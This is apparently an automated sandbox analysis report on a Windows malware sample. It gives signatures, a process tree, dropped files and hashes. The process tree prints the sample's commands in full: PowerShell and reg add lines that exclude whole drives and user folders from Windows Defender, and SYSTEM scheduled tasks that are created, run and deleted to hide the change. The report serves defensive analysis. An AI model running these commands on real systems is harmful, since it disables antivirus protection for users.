Analysis

  • max time kernel
    150s
  • max time network
    118s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 01:01

General

  • Target
    appstep.58680017.exe
  • Size 54.3MB
  • Sample260722-bdc11stvdw
  • SHA256 b4201b9d99e550ee02db21950521c24236e467de59bb29aace5b3f9770383237
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe
    "C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4128
  • C:\Users\Public\yrQTO2\8FoWsC.exe
    "C:\Users\Public\yrQTO2\8FoWsC.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3152
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\yrQTO2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\yrQTO2\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2612
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2932
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3728
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:6100
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3172
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3136
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1900
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2060
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5920
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:6056
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3828
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4672
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5380
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3312
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5536
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1268
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3932
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3812
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1852
                      • C:\Users\Public\yrQTO2\8FoWsC.exe
                        "C:\Users\Public\yrQTO2\8FoWsC.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:476
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\yrQTO2" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3856
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\yrQTO2" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:480
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1688
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3348
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1544
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2712
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2456
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3680
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4916

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                              • Size 1KB
                              • SHA256 3734f9bc1c71c102912e7c1a527ce327f003e366a580a0a68ece26679a965fab
                              • MD5 SHA1 SHA512 TLSH

                              B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
                              • Size 1KB
                              • SHA256 1f415d820b4f5ec98f79bad02a000cde6e7b457aaba45af7ef1102d3120178dc
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                              • Size 508B
                              • SHA256 5103fcc9574f0dd2182d87bbfc7e459bc2c9d3c802d284eadd03b8c7a66f8d37
                              • MD5 SHA1 SHA512 TLSH

                              B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
                              • Size 510B
                              • SHA256 2fc1a7d1616ea57781352ece9bd1d17af3afbebd3b51cc514894946471a63cad
                              • MD5 SHA1 SHA512 TLSH

                              8FoWsC.exe

                              • Path C:\Users\Public\yrQTO2\8FoWsC.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\yrQTO2\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 7da052f55c85a450d6cc7a2ad39e9ef421a7205560ba95a7c5cb11f9c0bc163a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\yrQTO2\adoresd.dat
                              • Size 4.8MB
                              • SHA256 e5db3c83728a9d4c8f3914bc69a987839fbebb3cfe3c2eaba875aa7f3fdbe3da
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\yrQTO2\msadox.tb
                              • Size 8KB
                              • SHA256 886750ec24426462030cbb9f6a4ff21c61a68cc1f0b7a9cdcf3916acea5bec4a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/476-590-0x00007FF8DB690000-0x00007FF8DB692000-memory.dmp

                              memory/476-588-0x0000023F037A0000-0x0000023F0405E000-memory.dmp

                              memory/476-589-0x0000023F037A0000-0x0000023F0405E000-memory.dmp

                              memory/476-582-0x0000023F037A0000-0x0000023F0405E000-memory.dmp

                              memory/476-579-0x0000023F037A0000-0x0000023F0405E000-memory.dmp

                              memory/476-576-0x00007FF8B93C0000-0x00007FF8B98DE000-memory.dmp

                              memory/476-586-0x0000023F037A0000-0x0000023F0405E000-memory.dmp

                              memory/476-587-0x0000023F037A0000-0x0000023F0405E000-memory.dmp

                              memory/476-581-0x00007FF8DB6A0000-0x00007FF8DB6A2000-memory.dmp

                              memory/3004-535-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-542-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-558-0x000001F97C640000-0x000001F97C6CA000-memory.dmp

                              memory/3004-559-0x000001F97C640000-0x000001F97C6CA000-memory.dmp

                              memory/3004-557-0x000001F97C640000-0x000001F97C6CA000-memory.dmp

                              memory/3004-556-0x000001F97C640000-0x000001F97C6CA000-memory.dmp

                              memory/3004-555-0x000001F97C4D0000-0x000001F97C51E000-memory.dmp

                              memory/3004-563-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-565-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-566-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-543-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-545-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-544-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-549-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-538-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-537-0x00007FF8DB6A0000-0x00007FF8DB6A2000-memory.dmp

                              memory/3004-600-0x000001F97D140000-0x000001F97D9FE000-memory.dmp

                              memory/3004-530-0x00007FF8B93C0000-0x00007FF8B98DE000-memory.dmp

                              memory/3004-529-0x00007FF8DB690000-0x00007FF8DB692000-memory.dmp

                              memory/3152-598-0x0000021F726A0000-0x0000021F726C2000-memory.dmp

                              memory/3152-603-0x0000021F726F0000-0x0000021F7270E000-memory.dmp

                              memory/3152-604-0x0000021F72970000-0x0000021F72A22000-memory.dmp

                              memory/3152-605-0x0000021F72710000-0x0000021F7271A000-memory.dmp

                              memory/4128-524-0x00007FF8D2EE0000-0x00007FF8D2EF2000-memory.dmp

                              memory/4128-523-0x0000000005620000-0x000000000562D000-memory.dmp

                              memory/4128-503-0x00007FF8D2EE0000-0x00007FF8D2EF2000-memory.dmp

                              memory/4128-1-0x0000000005630000-0x000000000563B000-memory.dmp

                              memory/4128-0-0x0000000005620000-0x000000000562D000-memory.dmp